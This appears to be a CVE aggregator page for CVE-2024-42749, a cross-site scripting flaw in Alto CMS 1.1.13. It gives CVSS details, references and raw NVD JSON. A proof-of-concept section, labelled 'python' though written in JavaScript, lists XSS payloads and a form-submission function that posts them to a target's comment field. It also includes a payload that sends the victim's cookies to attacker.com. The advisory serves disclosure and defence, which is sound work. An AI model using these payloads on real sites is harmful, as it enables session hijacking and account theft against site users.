CVE-2024-42749

Description

Cross Site Scripting vulnerability in Alto CMS v.1.1.13 allows a local attacker to execute arbitrary code via a crafted script.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:altocms:alto_cms:1.1.13:*:*:*:*:*:*:* - VULNERABLE

Alto CMS < 1.1.13 (受影响版本)

Alto CMS = 1.1.13 (确认受影响)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2024-42749 XSS PoC for Alto CMS v1.1.13
// This PoC demonstrates the XSS vulnerability in Alto CMS
// Use for authorized security testing only

// Basic XSS payload
const basicPayload = '<script>alert("XSS")</script>';

// Image tag based XSS
const imgPayload = '<img src=x onerror=alert(document.cookie)>';

// SVG based XSS
const svgPayload = '<svg/onload=alert("CVE-2024-42749")>';

// Event handler based XSS
const eventPayload = '<body onload=alert("XSS")>';

// Form submission PoC
function exploitXSS(targetUrl, payload) {
  const formData = new FormData();
  // Target input field - adjust selector based on target
  formData.append('comment_text', payload);
  formData.append('submit', 'Submit');
  
  fetch(targetUrl, {
    method: 'POST',
    body: formData,
    credentials: 'include'
  })
  .then(response => response.text())
  .then(data => console.log('Payload submitted successfully'))
  .catch(error => console.error('Error:', error));
}

// Cookie stealing payload
const cookieStealPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>';

// Export for testing
module.exports = {
  basicPayload,
  imgPayload,
  svgPayload,
  eventPayload,
  cookieStealPayload,
  exploitXSS
};

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2024-42749
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2024-42749
[3] CVE Details https://www.cvedetails.com/cve/CVE-2024-42749/
[4] VulDB https://vuldb.com/cve/CVE-2024-42749
[5] https://github.com/altocms/altocms
[6] https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-42749.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2024-42749", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:47.263", "lastModified": "2025-11-19T21:36:24.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Alto CMS v.1.1.13 allows a local attacker to execute arbitrary code via a crafted script."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:altocms:alto_cms:1.1.13:*:*:*:*:*:*:*", "matchCriteriaId": "7A122EED-71F4-47AD-A53B-D172E492323C"}]}]}], "references": [{"url": "https://github.com/altocms/altocms", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-42749.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}